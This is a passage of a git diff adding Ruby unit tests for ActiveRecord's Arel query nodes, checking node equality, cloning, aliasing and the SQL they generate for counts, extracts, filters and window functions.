+            assert_not_same dolly.default, node.default
+          end
+        end
+
+        describe "equality" do
+          it "is equal with equal ivars" do
+            foo = Nodes.build_quoted "foo"
+            one = Nodes.build_quoted 1
+            zero = Nodes.build_quoted 0
+
+            case1 = Case.new foo
+            case1.conditions = [When.new(foo, one)]
+            case1.default = Else.new zero
+
+            case2 = Case.new foo
+            case2.conditions = [When.new(foo, one)]
+            case2.default = Else.new zero
+
+            array = [case1, case2]
+
+            assert_equal 1, array.uniq.size
+          end
+
+          it "is not equal with different ivars" do
+            foo = Nodes.build_quoted "foo"
+            bar = Nodes.build_quoted "bar"
+            one = Nodes.build_quoted 1
+            zero = Nodes.build_quoted 0
+
+            case1 = Case.new foo
+            case1.conditions = [When.new(foo, one)]
+            case1.default = Else.new zero
+
+            case2 = Case.new foo
+            case2.conditions = [When.new(bar, one)]
+            case2.default = Else.new zero
+
+            array = [case1, case2]
+
+            assert_equal 2, array.uniq.size
+          end
+        end
+
+        describe "#as" do
+          it "allows aliasing" do
+            node = Case.new "foo"
+            as = node.as("bar")
+
+            assert_equal node, as.left
+            assert_kind_of Arel::Nodes::SqlLiteral, as.right
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/casted_test.rb b/activerecord/test/cases/arel/nodes/casted_test.rb
new file mode 100644
index 0000000000000..bde083b2050c6
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/casted_test.rb
@@ -0,0 +1,18 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class CastedTest < Arel::Spec
+      describe "#hash" do
+        it "is equal when eql? returns true" do
+          one = Casted.new 1, 2
+          also_one = Casted.new 1, 2
+
+          assert_equal one.hash, also_one.hash
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/comment_test.rb b/activerecord/test/cases/arel/nodes/comment_test.rb
new file mode 100644
index 0000000000000..bf5eaf4c5acab
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/comment_test.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+require "yaml"
+
+module Arel
+  module Nodes
+    class CommentTest < Arel::Spec
+      describe "equality" do
+        it "is equal with equal contents" do
+          array = [Comment.new(["foo"]), Comment.new(["foo"])]
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with different contents" do
+          array = [Comment.new(["foo"]), Comment.new(["bar"])]
+          assert_equal 2, array.uniq.size
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/count_test.rb b/activerecord/test/cases/arel/nodes/count_test.rb
new file mode 100644
index 0000000000000..3e960d876aa82
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/count_test.rb
@@ -0,0 +1,35 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+class Arel::Nodes::CountTest < Arel::Spec
+  describe "as" do
+    it "should alias the count" do
+      table = Arel::Table.new :users
+      _(table[:id].count.as("foo").to_sql).must_be_like %{
+        COUNT("users"."id") AS foo
+      }
+    end
+  end
+
+  describe "eq" do
+    it "should compare the count" do
+      table = Arel::Table.new :users
+      _(table[:id].count.eq(2).to_sql).must_be_like %{
+        COUNT("users"."id") = 2
+      }
+    end
+  end
+
+  describe "equality" do
+    it "is equal with equal ivars" do
+      array = [Arel::Nodes::Count.new("foo"), Arel::Nodes::Count.new("foo")]
+      assert_equal 1, array.uniq.size
+    end
+
+    it "is not equal with different ivars" do
+      array = [Arel::Nodes::Count.new("foo"), Arel::Nodes::Count.new("foo!")]
+      assert_equal 2, array.uniq.size
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/cte_test.rb b/activerecord/test/cases/arel/nodes/cte_test.rb
new file mode 100644
index 0000000000000..227ddc7395e12
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/cte_test.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class CteTest < Arel::Spec
+      describe "equality" do
+        it "is equal with equal ivars" do
+          array = [
+            Cte.new("foo", "bar", materialized: true),
+            Cte.new("foo", "bar", materialized: true)
+          ]
+
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with unequal ivars" do
+          array = [
+            Cte.new("foo", "bar", materialized: true),
+            Cte.new("foo", "bar")
+          ]
+
+          assert_equal 2, array.uniq.size
+        end
+      end
+
+      describe "#to_cte" do
+        it "returns self" do
+          cte = Cte.new("foo", "bar")
+
+          assert_equal cte.to_cte, cte
+        end
+      end
+
+      describe "#to_table" do
+        it "returns an Arel::Table using the Cte's name" do
+          table = Cte.new("foo", "bar").to_table
+
+          assert_kind_of Arel::Table, table
+          assert_equal "foo", table.name
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/delete_statement_test.rb b/activerecord/test/cases/arel/nodes/delete_statement_test.rb
new file mode 100644
index 0000000000000..9f0e3cf554f7f
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/delete_statement_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+class Arel::Nodes::DeleteStatementTest < Arel::Spec
+  describe "#clone" do
+    it "clones wheres" do
+      statement = Arel::Nodes::DeleteStatement.new
+      statement.wheres = %w[a b c]
+
+      dolly = statement.clone
+      _(dolly.wheres).must_equal statement.wheres
+      _(dolly.wheres).wont_be_same_as statement.wheres
+    end
+  end
+
+  describe "equality" do
+    it "is equal with equal ivars" do
+      statement1 = Arel::Nodes::DeleteStatement.new
+      statement1.wheres = %w[a b c]
+      statement2 = Arel::Nodes::DeleteStatement.new
+      statement2.wheres = %w[a b c]
+      array = [statement1, statement2]
+      assert_equal 1, array.uniq.size
+    end
+
+    it "is not equal with different ivars" do
+      statement1 = Arel::Nodes::DeleteStatement.new
+      statement1.wheres = %w[a b c]
+      statement2 = Arel::Nodes::DeleteStatement.new
+      statement2.wheres = %w[1 2 3]
+      array = [statement1, statement2]
+      assert_equal 2, array.uniq.size
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/descending_test.rb b/activerecord/test/cases/arel/nodes/descending_test.rb
new file mode 100644
index 0000000000000..c1078483a520b
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/descending_test.rb
@@ -0,0 +1,46 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class TestDescending < Arel::Test
+      def test_construct
+        descending = Descending.new "zomg"
+        assert_equal "zomg", descending.expr
+      end
+
+      def test_reverse
+        descending = Descending.new "zomg"
+        ascending = descending.reverse
+        assert_kind_of Ascending, ascending
+        assert_equal descending.expr, ascending.expr
+      end
+
+      def test_direction
+        descending = Descending.new "zomg"
+        assert_equal :desc, descending.direction
+      end
+
+      def test_ascending?
+        descending = Descending.new "zomg"
+        assert_not descending.ascending?
+      end
+
+      def test_descending?
+        descending = Descending.new "zomg"
+        assert_predicate descending, :descending?
+      end
+
+      def test_equality_with_same_ivars
+        array = [Descending.new("zomg"), Descending.new("zomg")]
+        assert_equal 1, array.uniq.size
+      end
+
+      def test_inequality_with_different_ivars
+        array = [Descending.new("zomg"), Descending.new("zomg!")]
+        assert_equal 2, array.uniq.size
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/distinct_test.rb b/activerecord/test/cases/arel/nodes/distinct_test.rb
new file mode 100644
index 0000000000000..f18543dcda07f
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/distinct_test.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class DistinctTest < Arel::Spec
+      describe "equality" do
+        it "is equal to other distinct nodes" do
+          array = [Distinct.new, Distinct.new]
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with other nodes" do
+          array = [Distinct.new, Node.new]
+          assert_equal 2, array.uniq.size
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/equality_test.rb b/activerecord/test/cases/arel/nodes/equality_test.rb
new file mode 100644
index 0000000000000..1929740f03eb4
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/equality_test.rb
@@ -0,0 +1,62 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class EqualityTest < Arel::Spec
+      # FIXME: backwards compat
+      describe "backwards compat" do
+        describe "to_sql" do
+          it "takes an engine" do
+            engine = FakeRecord::Base.new
+            engine.lease_connection.extend Module.new {
+              attr_accessor :quote_count
+              def quote(*args) @quote_count += 1; super; end
+              def quote_column_name(*args) @quote_count += 1; super; end
+              def quote_table_name(*args) @quote_count += 1; super; end
+            }
+            engine.lease_connection.quote_count = 0
+
+            attr = Table.new(:users)[:id]
+            test = attr.eq(10)
+            test.to_sql engine
+            _(engine.lease_connection.quote_count).must_equal 3
+          end
+        end
+      end
+
+      describe "or" do
+        it "makes an OR node" do
+          attr = Table.new(:users)[:id]
+          left  = attr.eq(10)
+          right = attr.eq(11)
+          node  = left.or right
+          _(node.expr.left).must_equal left
+          _(node.expr.right).must_equal right
+        end
+      end
+
+      describe "and" do
+        it "makes and AND node" do
+          attr = Table.new(:users)[:id]
+          left  = attr.eq(10)
+          right = attr.eq(11)
+          node  = left.and right
+          _(node.left).must_equal left
+          _(node.right).must_equal right
+        end
+      end
+
+      it "is equal with equal ivars" do
+        array = [Equality.new("foo", "bar"), Equality.new("foo", "bar")]
+        assert_equal 1, array.uniq.size
+      end
+
+      it "is not equal with different ivars" do
+        array = [Equality.new("foo", "bar"), Equality.new("foo", "baz")]
+        assert_equal 2, array.uniq.size
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/extract_test.rb b/activerecord/test/cases/arel/nodes/extract_test.rb
new file mode 100644
index 0000000000000..afb35b0d252d7
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/extract_test.rb
@@ -0,0 +1,43 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+class Arel::Nodes::ExtractTest < Arel::Spec
+  it "should extract field" do
+    table = Arel::Table.new :users
+    _(table[:timestamp].extract("date").to_sql).must_be_like %{
+      EXTRACT(DATE FROM "users"."timestamp")
+    }
+  end
+
+  describe "as" do
+    it "should alias the extract" do
+      table = Arel::Table.new :users
+      _(table[:timestamp].extract("date").as("foo").to_sql).must_be_like %{
+        EXTRACT(DATE FROM "users"."timestamp") AS foo
+      }
+    end
+
+    it "should not mutate the extract" do
+      table = Arel::Table.new :users
+      extract = table[:timestamp].extract("date")
+      before = extract.dup
+      extract.as("foo")
+      assert_equal extract, before
+    end
+  end
+
+  describe "equality" do
+    it "is equal with equal ivars" do
+      table = Arel::Table.new :users
+      array = [table[:attr].extract("foo"), table[:attr].extract("foo")]
+      assert_equal 1, array.uniq.size
+    end
+
+    it "is not equal with different ivars" do
+      table = Arel::Table.new :users
+      array = [table[:attr].extract("foo"), table[:attr].extract("bar")]
+      assert_equal 2, array.uniq.size
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/false_test.rb b/activerecord/test/cases/arel/nodes/false_test.rb
new file mode 100644
index 0000000000000..85c317fe3091d
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/false_test.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class FalseTest < Arel::Spec
+      describe "equality" do
+        it "is equal to other false nodes" do
+          array = [False.new, False.new]
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with other nodes" do
+          array = [False.new, Node.new]
+          assert_equal 2, array.uniq.size
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/filter_test.rb b/activerecord/test/cases/arel/nodes/filter_test.rb
new file mode 100644
index 0000000000000..117ad8458ea49
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/filter_test.rb
@@ -0,0 +1,37 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class ::FilterTest < Arel::Spec
+      describe "Filter" do
+        it "should add filter to expression" do
+          table = Arel::Table.new :users
+          _(table[:id].count.filter(table[:income].gteq(40_000)).to_sql).must_be_like %{
+              COUNT("users"."id") FILTER (WHERE "users"."income" >= 40000)
+            }
+        end
+
+        describe "as" do
+          it "should alias the expression" do
+            table = Arel::Table.new :users
+            _(table[:id].count.filter(table[:income].gteq(40_000)).as("rich_users_count").to_sql).must_be_like %{
+              COUNT("users"."id") FILTER (WHERE "users"."income" >= 40000) AS rich_users_count
+            }
+          end
+        end
+
+        describe "over" do
+          it "should reference the window definition by name" do
+            table = Arel::Table.new :users
+            window = Arel::Nodes::Window.new.partition(table[:year])
+            _(table[:id].count.filter(table[:income].gteq(40_000)).over(window).to_sql).must_be_like %{
+              COUNT("users"."id") FILTER (WHERE "users"."income" >= 40000) OVER (PARTITION BY "users"."year")
+            }
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/fragments_test.rb b/activerecord/test/cases/arel/nodes/fragments_test.rb
new file mode 100644
index 0000000000000..cab004f0e8da4
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/fragments_test.rb
@@ -0,0 +1,38 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+require "yaml"
+
+module Arel
+  module Nodes
+    class FragmentsTest < Arel::Spec
+      describe "equality" do
+        it "is equal with equal values" do
+          array = [Fragments.new(["foo", "bar"]), Fragments.new(["foo", "bar"])]
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with different values" do
+          array = [Fragments.new(["foo"]), Fragments.new(["bar"])]
+          assert_equal 2, array.uniq.size
+        end
+
+        it "can be joined with other nodes" do
+          fragments = Fragments.new(["foo", "bar"])
+          sql = Arel.sql("SELECT")
+          joined_fragments = fragments + sql
+
+          assert_equal ["foo", "bar"], fragments.values
+          assert_equal ["foo", "bar", sql], joined_fragments.values
+        end
+
+        it "fails if joined with something that is not an Arel node" do
+          fragments = Fragments.new
+          assert_raises ArgumentError do
+            fragments + "Not a node"
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/grouping_test.rb b/activerecord/test/cases/arel/nodes/grouping_test.rb
new file mode 100644
index 0000000000000..7c487509ead8f
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/grouping_test.rb
@@ -0,0 +1,26 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class GroupingTest < Arel::Spec
+      it "should create Equality nodes" do
+        grouping = Grouping.new(Nodes.build_quoted("foo"))
+        _(grouping.eq("foo").to_sql).must_be_like "('foo') = 'foo'"
+      end
+
+      describe "equality" do
+        it "is equal with equal ivars" do
+          array = [Grouping.new("foo"), Grouping.new("foo")]
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with different ivars" do
+          array = [Grouping.new("foo"), Grouping.new("bar")]
+          assert_equal 2, array.uniq.size
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/homogeneous_in_test.rb b/activerecord/test/cases/arel/nodes/homogeneous_in_test.rb
new file mode 100644
index 0000000000000..837e30bccb173
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/homogeneous_in_test.rb
@@ -0,0 +1,52 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+require "active_record/type_caster/map"
+require "active_model"
+class Arel::Nodes::HomogeneousInTest < Arel::Spec
+  def test_in
+    table = Arel::Table.new :users, type_caster: fake_pg_caster
+
+    expr = Arel::Nodes::HomogeneousIn.new(["Bobby", "Robert"], table[:name], :in)
+
+    _(expr.to_sql).must_be_like %{
+      "users"."name" IN (?, ?)
+    }
+  end
+
+  def test_custom_attribute_node
+    table = Arel::Table.new :users, type_caster: fake_pg_caster
+
+    node = TypedNode.new("COALESCE",
+                         [table[:nickname], table[:name]],
+                         STRING_TYPE
+                        )
+    expr = Arel::Nodes::HomogeneousIn.new(["Bobby", "Robert"], node, :in)
+
+    _(expr.to_sql).must_be_like %{
+      COALESCE("users"."nickname", "users"."name") IN (?, ?)
+    }
+  end
+
+  private
+    STRING_TYPE = ActiveModel::Type::String.new.freeze
+
+    # this is a named function that also has a data type
+    class TypedNode < Arel::Nodes::NamedFunction
+      attr_reader :type_caster
+
+      def initialize(name, expr, type)
+        super(name, expr)
+        @type_caster = type
+      end
+    end
+
+    # map that converts attribute names to a caster
+    def fake_pg_caster
+      Object.new.tap do |caster|
+        def caster.type_for_attribute(attr_name)
+          STRING_TYPE
+        end
+      end
+    end
+end
diff --git a/activerecord/test/cases/arel/nodes/infix_operation_test.rb b/activerecord/test/cases/arel/nodes/infix_operation_test.rb
new file mode 100644
index 0000000000000..fa86b88de6e56
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/infix_operation_test.rb
@@ -0,0 +1,42 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class TestInfixOperation < Arel::Test
+      def test_construct
+        operation = InfixOperation.new :+, 1, 2
+        assert_equal :+, operation.operator
+        assert_equal 1, operation.left
+        assert_equal 2, operation.right
+      end
+
+      def test_operation_alias
+        operation = InfixOperation.new :+, 1, 2
+        aliaz = operation.as("zomg")
+        assert_kind_of As, aliaz
+        assert_equal operation, aliaz.left
+        assert_equal "zomg", aliaz.right
+      end
+
+      def test_operation_ordering
+        operation = InfixOperation.new :+, 1, 2
+        ordering = operation.desc
+        assert_kind_of Descending, ordering
+        assert_equal operation, ordering.expr
+        assert_predicate ordering, :descending?
+      end
+
+      def test_equality_with_same_ivars
+        array = [InfixOperation.new(:+, 1, 2), InfixOperation.new(:+, 1, 2)]
+        assert_equal 1, array.uniq.size
+      end
+
+      def test_inequality_with_different_ivars
+        array = [InfixOperation.new(:+, 1, 2), InfixOperation.new(:+, 1, 3)]
+        assert_equal 2, array.uniq.size
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/insert_statement_test.rb b/activerecord/test/cases/arel/nodes/insert_statement_test.rb
new file mode 100644
index 0000000000000..bc25d561f92e0
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/insert_statement_test.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+class Arel::Nodes::InsertStatementTest < Arel::Spec
+  describe "#clone" do
+    it "clones columns and values" do
+      statement = Arel::Nodes::InsertStatement.new
+      statement.columns = %w[a b c]
+      statement.values  = %w[x y z]
+
+      dolly = statement.clone
+      _(dolly.columns).must_equal statement.columns
+      _(dolly.values).must_equal statement.values
+
+      _(dolly.columns).wont_be_same_as statement.columns
+      _(dolly.values).wont_be_same_as statement.values
+    end
+  end
+
+  describe "equality" do
+    it "is equal with equal ivars" do
+      statement1 = Arel::Nodes::InsertStatement.new
+      statement1.columns = %w[a b c]
+      statement1.values  = %w[x y z]
+      statement2 = Arel::Nodes::InsertStatement.new
+      statement2.columns = %w[a b c]
+      statement2.values  = %w[x y z]
+      array = [statement1, statement2]
+      assert_equal 1, array.uniq.size
+    end
+
+    it "is not equal with different ivars" do
+      statement1 = Arel::Nodes::InsertStatement.new
+      statement1.columns = %w[a b c]
+      statement1.values  = %w[x y z]
+      statement2 = Arel::Nodes::InsertStatement.new
+      statement2.columns = %w[a b c]
+      statement2.values  = %w[1 2 3]
+      array = [statement1, statement2]
+      assert_equal 2, array.uniq.size
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/named_function_test.rb b/activerecord/test/cases/arel/nodes/named_function_test.rb
new file mode 100644
index 0000000000000..ea306c81660a5
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/named_function_test.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class TestNamedFunction < Arel::Test
+      def test_construct
+        function = NamedFunction.new "omg", "zomg"
+        assert_equal "omg", function.name
+        assert_equal "zomg", function.expressions
+      end
+
+      def test_equality_with_same_ivars
+        array = [
+          NamedFunction.new("omg", "zomg"),
+          NamedFunction.new("omg", "zomg")
+        ]
+        assert_equal 1, array.uniq.size
+      end
+
+      def test_inequality_with_different_ivars
+        array = [
+          NamedFunction.new("omg", "zomg"),
+          NamedFunction.new("zomg", "zomg")
+        ]
+        assert_equal 2, array.uniq.size
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/node_test.rb b/activerecord/test/cases/arel/nodes/node_test.rb
new file mode 100644
index 0000000000000..2e693c2e77a9f
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/node_test.rb
@@ -0,0 +1,22 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  class TestNode < Arel::Test
+    def test_includes_factory_methods
+      assert Arel::Nodes::Node.new.respond_to?(:create_join)
+    end
+
+    def test_all_nodes_are_nodes
+      Nodes.constants.map { |k|
+        Nodes.const_get(k)
+      }.grep(Class).each do |klass|
+        next if Nodes::SqlLiteral == klass
+        next if Nodes::BindParam == klass
+        next if /^Arel::Nodes::(?:Test|.*Test$)/.match?(klass.name)
+        assert_includes klass.ancestors, Nodes::Node
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/not_test.rb b/activerecord/test/cases/arel/nodes/not_test.rb
new file mode 100644
index 0000000000000..af40b725f1534
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/not_test.rb
@@ -0,0 +1,31 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class NotTest < Arel::Spec
+      describe "#not" do
+        it "makes a NOT node" do
+          attr = Table.new(:users)[:id]
+          expr  = attr.eq(10)
+          node  = expr.not
+          _(node).must_be_kind_of Not
+          _(node.expr).must_equal expr
+        end
+      end
+
+      describe "equality" do
+        it "is equal with equal ivars" do
+          array = [Not.new("foo"), Not.new("foo")]
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with different ivars" do
+          array = [Not.new("foo"), Not.new("baz")]
+          assert_equal 2, array.uniq.size
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/or_test.rb b/activerecord/test/cases/arel/nodes/or_test.rb
new file mode 100644
index 0000000000000..0d2e1e997644b
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/or_test.rb
@@ -0,0 +1,36 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class OrTest < Arel::Spec
+      describe "#or" do
+        it "makes an OR node" do
+          attr = Table.new(:users)[:id]
+          left  = attr.eq(10)
+          right = attr.eq(11)
+          node  = left.or right
+          _(node.expr.left).must_equal left
+          _(node.expr.right).must_equal right
+
+          oror = node.or(right)
+          _(oror.expr.left).must_equal node
+          _(oror.expr.right).must_equal right
+        end
+      end
+
+      describe "equality" do
+        it "is equal with equal ivars" do
+          array = [Or.new(["foo", "bar"]), Or.new(["foo", "bar"])]
+          assert_equal 1, array.uniq.size
+        end
+
+        it "is not equal with different ivars" do
+          array = [Or.new(["foo", "bar"]), Or.new(["foo", "baz"])]
+          assert_equal 2, array.uniq.size
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/over_test.rb b/activerecord/test/cases/arel/nodes/over_test.rb
new file mode 100644
index 0000000000000..707c7d2ff1b2b
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/over_test.rb
@@ -0,0 +1,69 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+class Arel::Nodes::OverTest < Arel::Spec
+  describe "as" do
+    it "should alias the expression" do
+      table = Arel::Table.new :users
+      _(table[:id].count.over.as("foo").to_sql).must_be_like %{
+        COUNT("users"."id") OVER () AS foo
+      }
+    end
+  end
+
+  describe "with literal" do
+    it "should reference the window definition by name" do
+      table = Arel::Table.new :users
+      _(table[:id].count.over("foo").to_sql).must_be_like %{
+        COUNT("users"."id") OVER "foo"
+      }
+    end
+  end
+
+  describe "with SQL literal" do
+    it "should reference the window definition by name" do
+      table = Arel::Table.new :users
+      _(table[:id].count.over(Arel.sql("foo")).to_sql).must_be_like %{
+        COUNT("users"."id") OVER foo
+      }
+    end
+  end
+
+  describe "with no expression" do
+    it "should use empty definition" do
+      table = Arel::Table.new :users
+      _(table[:id].count.over.to_sql).must_be_like %{
+        COUNT("users"."id") OVER ()
+      }
+    end
+  end
+
+  describe "with expression" do
+    it "should use definition in sub-expression" do
+      table = Arel::Table.new :users
+      window = Arel::Nodes::Window.new.order(table["foo"])
+      _(table[:id].count.over(window).to_sql).must_be_like %{
+        COUNT("users"."id") OVER (ORDER BY \"users\".\"foo\")
+      }
+    end
+  end
+
+  describe "equality" do
+    it "is equal with equal ivars" do
+      array = [
+        Arel::Nodes::Over.new("foo", "bar"),
+        Arel::Nodes::Over.new("foo", "bar")
+      ]
+      assert_equal 1, array.uniq.size
+    end
+
+    it "is not equal with different ivars" do
+      array = [
+        Arel::Nodes::Over.new("foo", "bar"),
+        Arel::Nodes::Over.new("foo", "baz")
+      ]
+      assert_equal 2, array.uniq.size
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/select_core_test.rb b/activerecord/test/cases/arel/nodes/select_core_test.rb
new file mode 100644
index 0000000000000..6860f2a3954b4
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/select_core_test.rb
@@ -0,0 +1,79 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+module Arel
+  module Nodes
+    class TestSelectCore < Arel::Test
+      def test_clone
+        core = Arel::Nodes::SelectCore.new
+        core.froms       = %w[a b c]
+        core.projections = %w[d e f]
+        core.wheres      = %w[g h i]
+
+        dolly = core.clone
+
+        assert_equal core.froms, dolly.froms
+        assert_equal core.projections, dolly.projections
+        assert_equal core.wheres, dolly.wheres
+
+        assert_not_same core.froms, dolly.froms
+        assert_not_same core.projections, dolly.projections
+        assert_not_same core.wheres, dolly.wheres
+      end
+
+      def test_set_quantifier
+        core = Arel::Nodes::SelectCore.new
+        core.set_quantifier = Arel::Nodes::Distinct.new
+        viz = Arel::Visitors::ToSql.new Table.engine.connection_pool
+        assert_match "DISTINCT", viz.accept(core, Collectors::SQLString.new).value
+      end
+
+      def test_equality_with_same_ivars
+        core1 = SelectCore.new
+        core1.froms       = %w[a b c]
+        core1.projections = %w[d e f]
+        core1.wheres      = %w[g h i]
+        core1.groups      = %w[j k l]
+        core1.windows     = %w[m n o]
+        core1.havings     = %w[p q r]
+        core1.comment     = Arel::Nodes::Comment.new(["comment"])
+        core2 = SelectCore.new
+        core2.froms       = %w[a b c]
+        core2.projections = %w[d e f]
+        core2.wheres      = %w[g h i]
+        core2.groups      = %w[j k l]
+        core2.windows     = %w[m n o]
+        core2.havings     = %w[p q r]
+        core2.comment     = Arel::Nodes::Comment.new(["comment"])
+        array = [core1, core2]
+        assert_equal 1, array.uniq.size
+      end
+
+      def test_inequality_with_different_ivars
+        core1 = SelectCore.new
+        core1.froms       = %w[a b c]
+        core1.projections = %w[d e f]
+        core1.wheres      = %w[g h i]
+        core1.groups      = %w[j k l]
+        core1.windows     = %w[m n o]
+        core1.havings     = %w[p q r]
+        core1.comment     = Arel::Nodes::Comment.new(["comment"])
+        core2 = SelectCore.new
+        core2.froms       = %w[a b c]
+        core2.projections = %w[d e f]
+        core2.wheres      = %w[g h i]
+        core2.groups      = %w[j k l]
+        core2.windows     = %w[m n o]
+        core2.havings     = %w[l o l]
+        core2.comment     = Arel::Nodes::Comment.new(["comment"])
+        array = [core1, core2]
+        assert_equal 2, array.uniq.size
+        core2.havings     = %w[p q r]
+        core2.comment     = Arel::Nodes::Comment.new(["other"])
+        array = [core1, core2]
+        assert_equal 2, array.uniq.size
+      end
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/select_statement_test.rb b/activerecord/test/cases/arel/nodes/select_statement_test.rb
new file mode 100644
index 0000000000000..38000970db077
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/select_statement_test.rb
@@ -0,0 +1,51 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+
+class Arel::Nodes::SelectStatementTest < Arel::Spec
+  describe "#clone" do
+    it "clones cores" do
+      statement = Arel::Nodes::SelectStatement.new %w[a b c]
+
+      dolly = statement.clone
+      _(dolly.cores).must_equal      statement.cores
+      _(dolly.cores).wont_be_same_as statement.cores
+    end
+  end
+
+  describe "equality" do
+    it "is equal with equal ivars" do
+      statement1 = Arel::Nodes::SelectStatement.new %w[a b c]
+      statement1.offset = 1
+      statement1.limit  = 2
+      statement1.lock   = false
+      statement1.orders = %w[x y z]
+      statement1.with   = "zomg"
+      statement2 = Arel::Nodes::SelectStatement.new %w[a b c]
+      statement2.offset = 1
+      statement2.limit  = 2
+      statement2.lock   = false
+      statement2.orders = %w[x y z]
+      statement2.with   = "zomg"
+      array = [statement1, statement2]
+      assert_equal 1, array.uniq.size
+    end
+
+    it "is not equal with different ivars" do
+      statement1 = Arel::Nodes::SelectStatement.new %w[a b c]
+      statement1.offset = 1
+      statement1.limit  = 2
+      statement1.lock   = false
+      statement1.orders = %w[x y z]
+      statement1.with   = "zomg"
+      statement2 = Arel::Nodes::SelectStatement.new %w[a b c]
+      statement2.offset = 1
+      statement2.limit  = 2
+      statement2.lock   = false
+      statement2.orders = %w[x y z]
+      statement2.with   = "wth"
+      array = [statement1, statement2]
+      assert_equal 2, array.uniq.size
+    end
+  end
+end
diff --git a/activerecord/test/cases/arel/nodes/sql_literal_test.rb b/activerecord/test/cases/arel/nodes/sql_literal_test.rb
new file mode 100644
index 0000000000000..5ee59ed3a88d1
--- /dev/null
+++ b/activerecord/test/cases/arel/nodes/sql_literal_test.rb
@@ -0,0 +1,92 @@
+# frozen_string_literal: true
+
+require_relative "../helper"
+require "yaml"
+
+module Arel
+  module Nodes
+    class SqlLiteralTest < Arel::Spec
+      before do
